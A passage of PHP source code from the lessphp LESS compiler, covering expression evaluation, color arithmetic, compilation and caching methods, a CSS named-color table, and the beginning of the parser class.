		case "function":
			$color = $this->funcToColor($value);
			if ($color) return $color;

			list(, $name, $args) = $value;
			if ($name == "%") $name = "_sprintf";
			$f = isset($this->libFunctions[$name]) ?
				$this->libFunctions[$name] : array($this, 'lib_'.$name);

			if (is_callable($f)) {
				if ($args[0] == 'list')
					$args = self::compressList($args[2], $args[1]);

				$ret = call_user_func($f, $this->reduce($args, true), $this);

				if (is_null($ret)) {
					return array("string", "", array(
						$name, "(", $args, ")"
					));
				}

				// convert to a typed value if the result is a php primitive
				if (is_numeric($ret)) $ret = array('number', $ret, "");
				elseif (!is_array($ret)) $ret = array('keyword', $ret);

				return $ret;
			}

			// plain function, reduce args
			$value[2] = $this->reduce($value[2]);
			return $value;
		case "unary":
			list(, $op, $exp) = $value;
			$exp = $this->reduce($exp);

			if ($exp[0] == "number") {
				switch ($op) {
				case "+":
					return $exp;
				case "-":
					$exp[1] *= -1;
					return $exp;
				}
			}
			return array("string", "", array($op, $exp));
		}

		if ($forExpression) {
			switch ($value[0]) {
			case "keyword":
				if ($color = $this->coerceColor($value)) {
					return $color;
				}
				break;
			case "raw_color":
				return $this->coerceColor($value);
			}
		}

		return $value;
	}


	// coerce a value for use in color operation
	protected function coerceColor($value) {
		switch($value[0]) {
			case 'color': return $value;
			case 'raw_color':
				$c = array("color", 0, 0, 0);
				$colorStr = substr($value[1], 1);
				$num = hexdec($colorStr);
				$width = strlen($colorStr) == 3 ? 16 : 256;

				for ($i = 3; $i > 0; $i--) { // 3 2 1
					$t = $num % $width;
					$num /= $width;

					$c[$i] = $t * (256/$width) + $t * floor(16/$width);
				}

				return $c;
			case 'keyword':
				$name = $value[1];
				if (isset(self::$cssColors[$name])) {
					list($r, $g, $b) = explode(',', self::$cssColors[$name]);
					return array('color', $r, $g, $b);
				}
				return null;
		}
	}

	// make something string like into a string
	protected function coerceString($value) {
		switch ($value[0]) {
		case "string":
			return $value;
		case "keyword":
			return array("string", "", array($value[1]));
		}
		return null;
	}

	// turn list of length 1 into value type
	protected function flattenList($value) {
		if ($value[0] == "list" && count($value[2]) == 1) {
			return $this->flattenList($value[2][0]);
		}
		return $value;
	}

	protected function toBool($a) {
		if ($a) return self::$TRUE;
		else return self::$FALSE;
	}

	// evaluate an expression
	protected function evaluate($exp) {
		list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;

		$left = $this->reduce($left, true);
		$right = $this->reduce($right, true);

		if ($leftColor = $this->coerceColor($left)) {
			$left = $leftColor;
		}

		if ($rightColor = $this->coerceColor($right)) {
			$right = $rightColor;
		}

		$ltype = $left[0];
		$rtype = $right[0];

		// operators that work on all types
		if ($op == "and") {
			return $this->toBool($left == self::$TRUE && $right == self::$TRUE);
		}

		if ($op == "=") {
			return $this->toBool($this->eq($left, $right) );
		}

		if ($op == "+" && !is_null($str = $this->stringConcatenate($left, $right))) {
			return $str;
		}

		// type based operators
		$fname = "op_${ltype}_${rtype}";
		if (is_callable(array($this, $fname))) {
			$out = $this->$fname($op, $left, $right);
			if (!is_null($out)) return $out;
		}

		// make the expression look it did before being parsed
		$paddedOp = $op;
		if ($whiteBefore) $paddedOp = " " . $paddedOp;
		if ($whiteAfter) $paddedOp .= " ";

		return array("string", "", array($left, $paddedOp, $right));
	}

	protected function stringConcatenate($left, $right) {
		if ($strLeft = $this->coerceString($left)) {
			if ($right[0] == "string") {
				$right[1] = "";
			}
			$strLeft[2][] = $right;
			return $strLeft;
		}

		if ($strRight = $this->coerceString($right)) {
			array_unshift($strRight[2], $left);
			return $strRight;
		}
	}


	// make sure a color's components don't go out of bounds
	protected function fixColor($c) {
		foreach (range(1, 3) as $i) {
			if ($c[$i] < 0) $c[$i] = 0;
			if ($c[$i] > 255) $c[$i] = 255;
		}

		return $c;
	}

	protected function op_number_color($op, $lft, $rgt) {
		if ($op == '+' || $op == '*') {
			return $this->op_color_number($op, $rgt, $lft);
		}
	}

	protected function op_color_number($op, $lft, $rgt) {
		if ($rgt[0] == '%') $rgt[1] /= 100;

		return $this->op_color_color($op, $lft,
			array_fill(1, count($lft) - 1, $rgt[1]));
	}

	protected function op_color_color($op, $left, $right) {
		$out = array('color');
		$max = count($left) > count($right) ? count($left) : count($right);
		foreach (range(1, $max - 1) as $i) {
			$lval = isset($left[$i]) ? $left[$i] : 0;
			$rval = isset($right[$i]) ? $right[$i] : 0;
			switch ($op) {
			case '+':
				$out[] = $lval + $rval;
				break;
			case '-':
				$out[] = $lval - $rval;
				break;
			case '*':
				$out[] = $lval * $rval;
				break;
			case '%':
				$out[] = $lval % $rval;
				break;
			case '/':
				if ($rval == 0) $this->throwError("evaluate error: can't divide by zero");
				$out[] = $lval / $rval;
				break;
			default:
				$this->throwError('evaluate error: color op number failed on op '.$op);
			}
		}
		return $this->fixColor($out);
	}

	// operator on two numbers
	protected function op_number_number($op, $left, $right) {
		$unit = empty($left[2]) ? $right[2] : $left[2];

		$value = 0;
		switch ($op) {
		case '+':
			$value = $left[1] + $right[1];
			break;
		case '*':
			$value = $left[1] * $right[1];
			break;
		case '-':
			$value = $left[1] - $right[1];
			break;
		case '%':
			$value = $left[1] % $right[1];
			break;
		case '/':
			if ($right[1] == 0) $this->throwError('parse error: divide by zero');
			$value = $left[1] / $right[1];
			break;
		case '<':
			return $this->toBool($left[1] < $right[1]);
		case '>':
			return $this->toBool($left[1] > $right[1]);
		case '>=':
			return $this->toBool($left[1] >= $right[1]);
		case '=<':
			return $this->toBool($left[1] <= $right[1]);
		default:
			$this->throwError('parse error: unknown number operator: '.$op);
		}

		return array("number", $value, $unit);
	}


	/* environment functions */

	protected function makeOutputBlock($type, $selectors = null) {
		$b = new stdclass;
		$b->lines = array();
		$b->children = array();
		$b->selectors = $selectors;
		$b->type = $type;
		$b->parent = $this->scope;
		return $b;
	}

	// the state of execution
	protected function pushEnv($block = null) {
		$e = new stdclass;
		$e->parent = $this->env;
		$e->store = array();
		$e->block = $block;

		$this->env = $e;
		return $e;
	}

	// pop something off the stack
	protected function popEnv() {
		$old = $this->env;
		$this->env = $this->env->parent;
		return $old;
	}

	// set something in the current env
	protected function set($name, $value) {
		$this->env->store[$name] = $value;
	}


	// get the highest occurrence entry for a name
	protected function get($name, $default=null) {
		$current = $this->env;

		$isArguments = $name == $this->vPrefix . 'arguments';
		while ($current) {
			if ($isArguments && isset($current->arguments)) {
				return array('list', ' ', $current->arguments);
			}

			if (isset($current->store[$name]))
				return $current->store[$name];
			else {
				$current = isset($current->storeParent) ?
					$current->storeParent : $current->parent;
			}
		}

		return $default;
	}

	// inject array of unparsed strings into environment as variables
	protected function injectVariables($args) {
		$this->pushEnv();
		$parser = new lessc_parser($this, __METHOD__);
		foreach ($args as $name => $strValue) {
			if ($name{0} != '@') $name = '@'.$name;
			$parser->count = 0;
			$parser->buffer = (string)$strValue;
			if (!$parser->propertyValue($value)) {
				throw new Exception("failed to parse passed in variable $name: $strValue");
			}

			$this->set($name, $value);
		}
	}

	/**
	 * Initialize any static state, can initialize parser for a file
	 * $opts isn't used yet
	 */
	public function __construct($fname = null) {
		if ($fname !== null) {
			// used for deprecated parse method
			$this->_parseFile = $fname;
		}
	}

	public function compile($string, $name = null) {
		$locale = setlocale(LC_NUMERIC, 0);
		setlocale(LC_NUMERIC, "C");

		$this->parser = $this->makeParser($name);
		$root = $this->parser->parse($string);

		$this->env = null;
		$this->scope = null;

		$this->formatter = $this->newFormatter();

		if (!empty($this->registeredVars)) {
			$this->injectVariables($this->registeredVars);
		}

		$this->sourceParser = $this->parser; // used for error messages
		$this->compileBlock($root);

		ob_start();
		$this->formatter->block($this->scope);
		$out = ob_get_clean();
		setlocale(LC_NUMERIC, $locale);
		return $out;
	}

	public function compileFile($fname, $outFname = null) {
		if (!is_readable($fname)) {
			throw new Exception('load error: failed to find '.$fname);
		}

		$pi = pathinfo($fname);

		$oldImport = $this->importDir;

		$this->importDir = (array)$this->importDir;
		$this->importDir[] = $pi['dirname'].'/';

		$this->allParsedFiles = array();
		$this->addParsedFile($fname);

		$out = $this->compile(file_get_contents($fname), $fname);

		$this->importDir = $oldImport;

		if ($outFname !== null) {
			return file_put_contents($outFname, $out);
		}

		return $out;
	}

	// compile only if changed input has changed or output doesn't exist
	public function checkedCompile($in, $out) {
		if (!is_file($out) || filemtime($in) > filemtime($out)) {
			$this->compileFile($in, $out);
			return true;
		}
		return false;
	}

	/**
	 * Execute lessphp on a .less file or a lessphp cache structure
	 *
	 * The lessphp cache structure contains information about a specific
	 * less file having been parsed. It can be used as a hint for future
	 * calls to determine whether or not a rebuild is required.
	 *
	 * The cache structure contains two important keys that may be used
	 * externally:
	 *
	 * compiled: The final compiled CSS
	 * updated: The time (in seconds) the CSS was last compiled
	 *
	 * The cache structure is a plain-ol' PHP associative array and can
	 * be serialized and unserialized without a hitch.
	 *
	 * @param mixed $in Input
	 * @param bool $force Force rebuild?
	 * @return array lessphp cache structure
	 */
	public function cachedCompile($in, $force = false) {
		// assume no root
		$root = null;

		if (is_string($in)) {
			$root = $in;
		} elseif (is_array($in) and isset($in['root'])) {
			if ($force or ! isset($in['files'])) {
				// If we are forcing a recompile or if for some reason the
				// structure does not contain any file information we should
				// specify the root to trigger a rebuild.
				$root = $in['root'];
			} elseif (isset($in['files']) and is_array($in['files'])) {
				foreach ($in['files'] as $fname => $ftime ) {
					if (!file_exists($fname) or filemtime($fname) > $ftime) {
						// One of the files we knew about previously has changed
						// so we should look at our incoming root again.
						$root = $in['root'];
						break;
					}
				}
			}
		} else {
			// TODO: Throw an exception? We got neither a string nor something
			// that looks like a compatible lessphp cache structure.
			return null;
		}

		if ($root !== null) {
			// If we have a root value which means we should rebuild.
			$out = array();
			$out['root'] = $root;
			$out['compiled'] = $this->compileFile($root);
			$out['files'] = $this->allParsedFiles();
			$out['updated'] = time();
			return $out;
		} else {
			// No changes, pass back the structure
			// we were given initially.
			return $in;
		}

	}

	// parse and compile buffer
	// This is deprecated
	public function parse($str = null, $initialVariables = null) {
		if (is_array($str)) {
			$initialVariables = $str;
			$str = null;
		}

		$oldVars = $this->registeredVars;
		if ($initialVariables !== null) {
			$this->setVariables($initialVariables);
		}

		if ($str == null) {
			if (empty($this->_parseFile)) {
				throw new exception("nothing to parse");
			}

			$out = $this->compileFile($this->_parseFile);
		} else {
			$out = $this->compile($str);
		}

		$this->registeredVars = $oldVars;
		return $out;
	}

	protected function makeParser($name) {
		$parser = new lessc_parser($this, $name);
		$parser->writeComments = $this->preserveComments;

		return $parser;
	}

	public function setFormatter($name) {
		$this->formatterName = $name;
	}

	protected function newFormatter() {
		$className = "lessc_formatter_lessjs";
		if (!empty($this->formatterName)) {
			if (!is_string($this->formatterName))
				return $this->formatterName;
			$className = "lessc_formatter_$this->formatterName";
		}

		return new $className;
	}

	public function setPreserveComments($preserve) {
		$this->preserveComments = $preserve;
	}

	public function registerFunction($name, $func) {
		$this->libFunctions[$name] = $func;
	}

	public function unregisterFunction($name) {
		unset($this->libFunctions[$name]);
	}

	public function setVariables($variables) {
		$this->registeredVars = array_merge($this->registeredVars, $variables);
	}

	public function unsetVariable($name) {
		unset($this->registeredVars[$name]);
	}

	public function setImportDir($dirs) {
		$this->importDir = (array)$dirs;
	}

	public function addImportDir($dir) {
		$this->importDir = (array)$this->importDir;
		$this->importDir[] = $dir;
	}

	public function allParsedFiles() {
		return $this->allParsedFiles;
	}

	protected function addParsedFile($file) {
		$this->allParsedFiles[realpath($file)] = filemtime($file);
	}

	/**
	 * Uses the current value of $this->count to show line and line number
	 */
	protected function throwError($msg = null) {
		if ($this->sourceLoc >= 0) {
			$this->sourceParser->throwError($msg, $this->sourceLoc);
		}
		throw new exception($msg);
	}

	// compile file $in to file $out if $in is newer than $out
	// returns true when it compiles, false otherwise
	public static function ccompile($in, $out, $less = null) {
		if ($less === null) {
			$less = new self;
		}
		return $less->checkedCompile($in, $out);
	}

	public static function cexecute($in, $force = false, $less = null) {
		if ($less === null) {
			$less = new self;
		}
		return $less->cachedCompile($in, $force);
	}

	static protected $cssColors = array(
		'aliceblue' => '240,248,255',
		'antiquewhite' => '250,235,215',
		'aqua' => '0,255,255',
		'aquamarine' => '127,255,212',
		'azure' => '240,255,255',
		'beige' => '245,245,220',
		'bisque' => '255,228,196',
		'black' => '0,0,0',
		'blanchedalmond' => '255,235,205',
		'blue' => '0,0,255',
		'blueviolet' => '138,43,226',
		'brown' => '165,42,42',
		'burlywood' => '222,184,135',
		'cadetblue' => '95,158,160',
		'chartreuse' => '127,255,0',
		'chocolate' => '210,105,30',
		'coral' => '255,127,80',
		'cornflowerblue' => '100,149,237',
		'cornsilk' => '255,248,220',
		'crimson' => '220,20,60',
		'cyan' => '0,255,255',
		'darkblue' => '0,0,139',
		'darkcyan' => '0,139,139',
		'darkgoldenrod' => '184,134,11',
		'darkgray' => '169,169,169',
		'darkgreen' => '0,100,0',
		'darkgrey' => '169,169,169',
		'darkkhaki' => '189,183,107',
		'darkmagenta' => '139,0,139',
		'darkolivegreen' => '85,107,47',
		'darkorange' => '255,140,0',
		'darkorchid' => '153,50,204',
		'darkred' => '139,0,0',
		'darksalmon' => '233,150,122',
		'darkseagreen' => '143,188,143',
		'darkslateblue' => '72,61,139',
		'darkslategray' => '47,79,79',
		'darkslategrey' => '47,79,79',
		'darkturquoise' => '0,206,209',
		'darkviolet' => '148,0,211',
		'deeppink' => '255,20,147',
		'deepskyblue' => '0,191,255',
		'dimgray' => '105,105,105',
		'dimgrey' => '105,105,105',
		'dodgerblue' => '30,144,255',
		'firebrick' => '178,34,34',
		'floralwhite' => '255,250,240',
		'forestgreen' => '34,139,34',
		'fuchsia' => '255,0,255',
		'gainsboro' => '220,220,220',
		'ghostwhite' => '248,248,255',
		'gold' => '255,215,0',
		'goldenrod' => '218,165,32',
		'gray' => '128,128,128',
		'green' => '0,128,0',
		'greenyellow' => '173,255,47',
		'grey' => '128,128,128',
		'honeydew' => '240,255,240',
		'hotpink' => '255,105,180',
		'indianred' => '205,92,92',
		'indigo' => '75,0,130',
		'ivory' => '255,255,240',
		'khaki' => '240,230,140',
		'lavender' => '230,230,250',
		'lavenderblush' => '255,240,245',
		'lawngreen' => '124,252,0',
		'lemonchiffon' => '255,250,205',
		'lightblue' => '173,216,230',
		'lightcoral' => '240,128,128',
		'lightcyan' => '224,255,255',
		'lightgoldenrodyellow' => '250,250,210',
		'lightgray' => '211,211,211',
		'lightgreen' => '144,238,144',
		'lightgrey' => '211,211,211',
		'lightpink' => '255,182,193',
		'lightsalmon' => '255,160,122',
		'lightseagreen' => '32,178,170',
		'lightskyblue' => '135,206,250',
		'lightslategray' => '119,136,153',
		'lightslategrey' => '119,136,153',
		'lightsteelblue' => '176,196,222',
		'lightyellow' => '255,255,224',
		'lime' => '0,255,0',
		'limegreen' => '50,205,50',
		'linen' => '250,240,230',
		'magenta' => '255,0,255',
		'maroon' => '128,0,0',
		'mediumaquamarine' => '102,205,170',
		'mediumblue' => '0,0,205',
		'mediumorchid' => '186,85,211',
		'mediumpurple' => '147,112,219',
		'mediumseagreen' => '60,179,113',
		'mediumslateblue' => '123,104,238',
		'mediumspringgreen' => '0,250,154',
		'mediumturquoise' => '72,209,204',
		'mediumvioletred' => '199,21,133',
		'midnightblue' => '25,25,112',
		'mintcream' => '245,255,250',
		'mistyrose' => '255,228,225',
		'moccasin' => '255,228,181',
		'navajowhite' => '255,222,173',
		'navy' => '0,0,128',
		'oldlace' => '253,245,230',
		'olive' => '128,128,0',
		'olivedrab' => '107,142,35',
		'orange' => '255,165,0',
		'orangered' => '255,69,0',
		'orchid' => '218,112,214',
		'palegoldenrod' => '238,232,170',
		'palegreen' => '152,251,152',
		'paleturquoise' => '175,238,238',
		'palevioletred' => '219,112,147',
		'papayawhip' => '255,239,213',
		'peachpuff' => '255,218,185',
		'peru' => '205,133,63',
		'pink' => '255,192,203',
		'plum' => '221,160,221',
		'powderblue' => '176,224,230',
		'purple' => '128,0,128',
		'red' => '255,0,0',
		'rosybrown' => '188,143,143',
		'royalblue' => '65,105,225',
		'saddlebrown' => '139,69,19',
		'salmon' => '250,128,114',
		'sandybrown' => '244,164,96',
		'seagreen' => '46,139,87',
		'seashell' => '255,245,238',
		'sienna' => '160,82,45',
		'silver' => '192,192,192',
		'skyblue' => '135,206,235',
		'slateblue' => '106,90,205',
		'slategray' => '112,128,144',
		'slategrey' => '112,128,144',
		'snow' => '255,250,250',
		'springgreen' => '0,255,127',
		'steelblue' => '70,130,180',
		'tan' => '210,180,140',
		'teal' => '0,128,128',
		'thistle' => '216,191,216',
		'tomato' => '255,99,71',
		'turquoise' => '64,224,208',
		'violet' => '238,130,238',
		'wheat' => '245,222,179',
		'white' => '255,255,255',
		'whitesmoke' => '245,245,245',
		'yellow' => '255,255,0',
		'yellowgreen' => '154,205,50'
	);
}

// responsible for taking a string of LESS code and converting it into a
// syntax tree
class lessc_parser {
	static protected $nextBlockId = 0; // used to uniquely identify blocks

	static protected $precedence = array(
		'=<' => 0,
		'>=' => 0,
		'=' => 0,
		'<' => 0,
		'>' => 0,

		'+' => 1,
		'-' => 1,
		'*' => 2,
		'/' => 2,
		'%' => 2,
	);

	static protected $whitePattern;
	static protected $commentMulti;

	static protected $commentSingle = "//";
	static protected $commentMultiLeft = "/*";
	static protected $commentMultiRight = "*/";

	// regex string to match any of the operators
	static protected $operatorString;

	// these properties will supress division unless it's inside parenthases
	static protected $supressDivisionProps =
		array('/border-radius$/i', '/^font$/i');

	protected $blockDirectives = array("font-face", "keyframes", "page", "-moz-document");
	protected $lineDirectives = array("charset");

	/**
	 * if we are in parens we can be more liberal with whitespace around
	 * operators because it must evaluate to a single value and thus is less
	 * ambiguous.
	 *
	 * Consider:
	 *     property1: 10 -5; // is two numbers, 10 and -5
	 *     property2: (10 -5); // should evaluate to 5
	 */
	protected $inParens = false;

	// caches preg escaped literals
	static protected $literalCache = array();

	public function __construct($lessc, $sourceName = null) {
		$this->eatWhiteDefault = true;
		// reference to less needed for vPrefix, mPrefix, and parentSelector
		$this->lessc = $lessc;

		$this->sourceName = $sourceName; // name used for error messages

		$this->writeComments = false;

		if (!self::$operatorString) {
			self::$operatorString =
				'('.implode('|', array_map(array('lessc', 'preg_quote'),
					array_keys(self::$precedence))).')';

			$commentSingle = lessc::preg_quote(self::$commentSingle);
			$commentMultiLeft = lessc::preg_quote(self::$commentMultiLeft);
			$commentMultiRight = lessc::preg_quote(self::$commentMultiRight);

			self::$commentMulti = $commentMultiLeft.'.*?'.$commentMultiRight;
			self::$whitePattern = '/'.$commentSingle.'[^\n]*\s*|('.self::$commentMulti.')\s*|\s+/Ais';
		}
	}

	public function parse($buffer) {
		$this->count = 0;
		$this->line = 1;

		$this->env = null; // block stack
		$this->buffer = $this->writeComments ? $buffer : $this->removeComments($buffer);
		$this->pushSpecialBlock("root");
		$this->eatWhiteDefault = true;
		$this->seenComments = array();

		// trim whitespace on head
		// if (preg_match('/^\s+/', $this->buffer, $m)) {
		// 	$this->line += substr_count($m[0], "\n");
		// 	$this->buffer = ltrim($this->buffer);
		// }
		$this->whitespace();

		// parse the entire file
		$lastCount = $this->count;
		while (false !== $this->parseChunk());

		if ($this->count != strlen($this->buffer))
			$this->throwError();

		// TODO report where the block was opened
		if (!is_null($this->env->parent))
			throw new exception('parse error: unclosed block');

		return $this->env;
	}

	/**
	 * Parse a single chunk off the head of the buffer and append it to the
	 * current parse environment.
	 * Returns false when the buffer is empty, or when there is an error.
	 *
	 * This function is called repeatedly until the entire document is
	 * parsed.
	 *
	 * This parser is most similar to a recursive descent parser. Single
	 * functions represent discrete grammatical rules for the language, and
	 * they are able to capture the text that represents those rules.
	 *
	 * Consider the function lessc::keyword(). (all parse functions are
	 * structured the same)
	 *
	 * The function takes a single reference argument. When calling the
	 * function it will attempt to match a keyword on the head of the buffer.
	 * If it is successful, it will place the keyword in the referenced
	 * argument, advance the position in the buffer, and return true. If it
	 * fails then it won't advance the buffer and it will return false.
	 *
	 * All of these parse functions are powered by lessc::match(), which behaves
	 * the same way, but takes a literal regular expression. Sometimes it is
	 * more convenient to use match instead of creating a new function.
	 *
	 * Because of the format of the functions, to parse an entire string of
	 * grammatical rules, you can chain them together using &&.
	 *
	 * But, if some of the rules in the chain succeed before one fails, then
	 * the buffer position will be left at an invalid state. In order to
	 * avoid this, lessc::seek() is used to remember and set buffer positions.
	 *
	 * Before parsing a chain, use $s = $this->seek() to remember the current
	 * position into $s. Then if a chain fails, use $this->seek($s) to
	 * go back where we started.
	 */
	protected function parseChunk() {
		if (empty($this->buffer)) return false;
		$s = $this->seek();

		// setting a property
		if ($this->keyword($key) && $this->assign() &&
			$this->propertyValue($value, $key) && $this->end())
		{
			$this->append(array('assign', $key, $value), $s);
			return true;
		} else {
			$this->seek($s);
		}


		// look for special css blocks
		if ($this->literal('@', false)) {
			$this->count--;

			// media
			if ($this->literal('@media')) {
				if (($this->mediaQueryList($mediaQueries) || true)
					&& $this->literal('{'))
				{
					$media = $this->pushSpecialBlock("media");
					$media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
					return true;
				} else {
					$this->seek($s);
					return false;
				}
			}

			if ($this->literal("@", false) && $this->keyword($dirName)) {
				if ($this->isDirective($dirName, $this->blockDirectives)) {
					if (($this->openString("{", $dirValue, null, array(";")) || true) &&
						$this->literal("{"))
					{
						$dir = $this->pushSpecialBlock("directive");
						$dir->name = $dirName;
						if (isset($dirValue)) $dir->value = $dirValue;
						return true;
					}
				} elseif ($this->isDirective($dirName, $this->lineDirectives)) {
					if ($this->propertyValue($dirValue) && $this->end()) {
						$this->append(array("directive", $dirName, $dirValue));
						return true;
					}
				}
			}

			$this->seek($s);
		}

		// setting a variable
		if ($this->variable($var) && $this->assign() &&
			$this->propertyValue($value) && $this->end())
		{
			$this->append(array('assign', $var, $value), $s);
			return true;
		} else {
			$this->seek($s);
		}

		if ($this->import($importValue)) {
			$this->append($importValue, $s);
			return true;
		}

		// opening parametric mixin
		if ($this->tag($tag, true) && $this->argumentDef($args, $isVararg) &&
			($this->guards($guards) || true) &&
			$this->literal('{'))
		{
			$block = $this->pushBlock($this->fixTags(array($tag)));
			$block->args = $args;
			$block->isVararg = $isVararg;
			if (!empty($guards)) $block->guards = $guards;
			return true;
		} else {
			$this->seek($s);
		}

		// opening a simple block
		if ($this->tags($tags) && $this->literal('{')) {
			$tags = $this->fixTags($tags);
			$this->pushBlock($tags);
			return true;
		} else {
			$this->seek($s);
		}

		// closing a block
		if ($this->literal('}', false)) {
			try {
				$block = $this->pop();
			} catch (exception $e) {
				$this->seek($s);
				$this->throwError($e->getMessage());
			}

			$hidden = false;
			if (is_null($block->type)) {
				$hidden = true;
				if (!isset($block->args)) {
					foreach ($block->tags as $tag) {
						if (!is_string($tag) || $tag{0} != $this->lessc->mPrefix) {
							$hidden = false;
							break;
						}
					}
				}

				foreach ($block->tags as $tag) {
					if (is_string($tag)) {
						$this->env->children[$tag][] = $block;
					}
				}
			}

			if (!$hidden) {
				$this->append(array('block', $block), $s);
			}

			// this is done here so comments aren't bundled into he block that
			// was just closed
			$this->whitespace();
			return true;
		}

		// mixin
		if ($this->mixinTags($tags) &&
			($this->argumentValues($argv) || true) &&
			($this->keyword($suffix) || true) && $this->end())
		{
			$tags = $this->fixTags($tags);
			$this->append(array('mixin', $tags, $argv, $suffix), $s);
			return true;
		} else {
			$this->seek($s);
		}

		// spare ;
		if ($this->literal(';')) return true;

		return false; // got nothing, throw error
	}

	protected function isDirective($dirname, $directives) {
		// TODO: cache pattern in parser
		$pattern = implode("|",
			array_map(array("lessc", "preg_quote"), $directives));
		$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';

		return preg_match($pattern, $dirname);
	}

	protected function fixTags($tags) {
		// move @ tags out of variable namespace
		foreach ($tags as &$tag) {
			if ($tag{0} == $this->lessc->vPrefix)
				$tag[0] = $this->lessc->mPrefix;
		}
		return $tags;
	}

	// a list of expressions
	protected function expressionList(&$exps) {
		$values = array();

		while ($this->expression($exp)) {
			$values[] = $exp;
		}

		if (count($values) == 0) return false;

		$exps = lessc::compressList($values, ' ');
		return true;
	}

	/**
	 * Attempt to consume an expression.
	 * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
	 */
	protected function expression(&$out) {
		if ($this->value($lhs)) {
			$out = $this->expHelper($lhs, 0);

			// look for / shorthand
			if (!empty($this->env->supressedDivision)) {
				unset($this->env->supressedDivision);
				$s = $this->seek();
				if ($this->literal("/") && $this->value($rhs)) {
					$out = array("list", "",
						array($out, array("keyword", "/"), $rhs));
				} else {
					$this->seek($s);
				}
			}

			return true;
		}
		return false;
	}

	/**
	 * recursively parse infix equation with $lhs at precedence $minP
	 */
	protected function expHelper($lhs, $minP) {
		$this->inExp = true;
		$ss = $this->seek();

		while (true) {
			$whiteBefore = isset($this->buffer[$this->count - 1]) &&
				ctype_space($this->buffer[$this->count - 1]);

			// If there is whitespace before the operator, then we require
			// whitespace after the operator for it to be an expression
			$needWhite = $whiteBefore && !$this->inParens;

			if ($this->match(self::$operatorString.($needWhite ? '\s' : ''), $m) && self::$precedence[$m[1]] >= $minP) {
				if (!$this->inParens && isset($this->env->currentProperty) && $m[1] == "/" && empty($this->env->supressedDivision)) {
					foreach (self::$supressDivisionProps as $pattern) {
						if (preg_match($pattern, $this->env->currentProperty)) {
							$this->env->supressedDivision = true;
							break 2;
						}
					}
				}


				$whiteAfter = isset($this->buffer[$this->count - 1]) &&
					ctype_space($this->buffer[$this->count - 1]);

				if (!$this->value($rhs)) break;

				// peek for next operator to see what to do with rhs
				if ($this->peek(self::$operatorString, $next) && self::$precedence[$next[1]] > self::$precedence[$m[1]]) {
					$rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
				}

				$lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter);
				$ss = $this->seek();

				continue;
			}

			break;
		}

		$this->seek($ss);

		return $lhs;
	}

	// consume a list of values for a property
	public function propertyValue(&$value, $keyName = null) {
		$values = array();

		if ($keyName !== null) $this->env->currentProperty = $keyName;

		$s = null;
		while ($this->expressionList($v)) {
			$values[] = $v;
			$s = $this->seek();
			if (!$this->literal(',')) break;
		}

		if ($s) $this->seek($s);

		if ($keyName !== null) unset($this->env->currentProperty);

		if (count($values) == 0) return false;

		$value = lessc::compressList($values, ', ');
		return true;
	}

	protected function parenValue(&$out) {
		$s = $this->seek();

		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "(") {
			return false;
		}

		$inParens = $this->inParens;
		if ($this->literal("(") &&
			($this->inParens = true) && $this->expression($exp) &&
			$this->literal(")"))
		{
			$out = $exp;
			$this->inParens = $inParens;
			return true;
		} else {
			$this->inParens = $inParens;
			$this->seek($s);
		}

		return false;
	}

	// a single value
	protected function value(&$value) {
		$s = $this->seek();

		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "-") {
			// negation
			if ($this->literal("-", false) &&
				(($this->variable($inner) && $inner = array("variable", $inner)) ||
				$this->unit($inner) ||
				$this->parenValue($inner)))
			{
				$value = array("unary", "-", $inner);
				return true;
			} else {
				$this->seek($s);
			}
		}

		if ($this->parenValue($value)) return true;
		if ($this->unit($value)) return true;
		if ($this->color($value)) return true;
		if ($this->func($value)) return true;
		if ($this->string($value)) return true;

		if ($this->keyword($word)) {
			$value = array('keyword', $word);
			return true;
		}

		// try a variable
		if ($this->variable($var)) {
			$value = array('variable', $var);
			return true;
		}

		// unquote string (should this work on any type?
		if ($this->literal("~") && $this->string($str)) {
			$value = array("escape", $str);
			return true;
		} else {
			$this->seek($s);
		}

		// css hack: \0
		if ($this->literal('\\') && $this->match('([0-9]+)', $m)) {
			$value = array('keyword', '\\'.$m[1]);
			return true;
		} else {
			$this->seek($s);
		}

		return false;
	}

	// an import statement
	protected function import(&$out) {
		$s = $this->seek();
		if (!$this->literal('@import')) return false;

		// @import "something.css" media;
		// @import url("something.css") media;
		// @import url(something.css) media;

		if ($this->propertyValue($value)) {
			$out = array("import", $value);
			return true;
		}
	}

	protected function mediaQueryList(&$out) {
		if ($this->genericList($list, "mediaQuery", ",", false)) {
			$out = $list[2];
			return true;
		}
		return false;
	}

	protected function mediaQuery(&$out) {
		$s = $this->seek();

		$expressions = null;
		$parts = array();

		if (($this->literal("only") && ($only = true) || $this->literal("not") && ($not = true) || true) && $this->keyword($mediaType)) {
			$prop = array("mediaType");
			if (isset($only)) $prop[] = "only";
			if (isset($not)) $prop[] = "not";
			$prop[] = $mediaType;
			$parts[] = $prop;
		} else {
			$this->seek($s);
		}


		if (!empty($mediaType) && !$this->literal("and")) {
			// ~
		} else {
			$this->genericList($expressions, "mediaExpression", "and", false);
			if (is_array($expressions)) $parts = array_merge($parts, $expressions[2]);
		}

		if (count($parts) == 0) {
			$this->seek($s);
			return false;
		}

		$out = $parts;
		return true;
	}

	protected function mediaExpression(&$out) {
		$s = $this->seek();
		$value = null;
		if ($this->literal("(") &&
			$this->keyword($feature) &&
			($this->literal(":") && $this->expression($value) || true) &&
			$this->literal(")"))
		{
			$out = array("mediaExp", $feature);
			if ($value) $out[] = $value;
			return true;
		}

		$this->seek($s);
		return false;
	}

	// an unbounded string stopped by $end
	protected function openString($end, &$out, $nestingOpen=null, $rejectStrs = null) {
		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = false;

		$stop = array("'", '"', "@{", $end);
		$stop = array_map(array("lessc", "preg_quote"), $stop);
		// $stop[] = self::$commentMulti;

		if (!is_null($rejectStrs)) {
			$stop = array_merge($stop, $rejectStrs);
		}

		$patt = '(.*?)('.implode("|", $stop).')';

		$nestingLevel = 0;

		$content = array();
		while ($this->match($patt, $m, false)) {
			if (!empty($m[1])) {
				$content[] = $m[1];
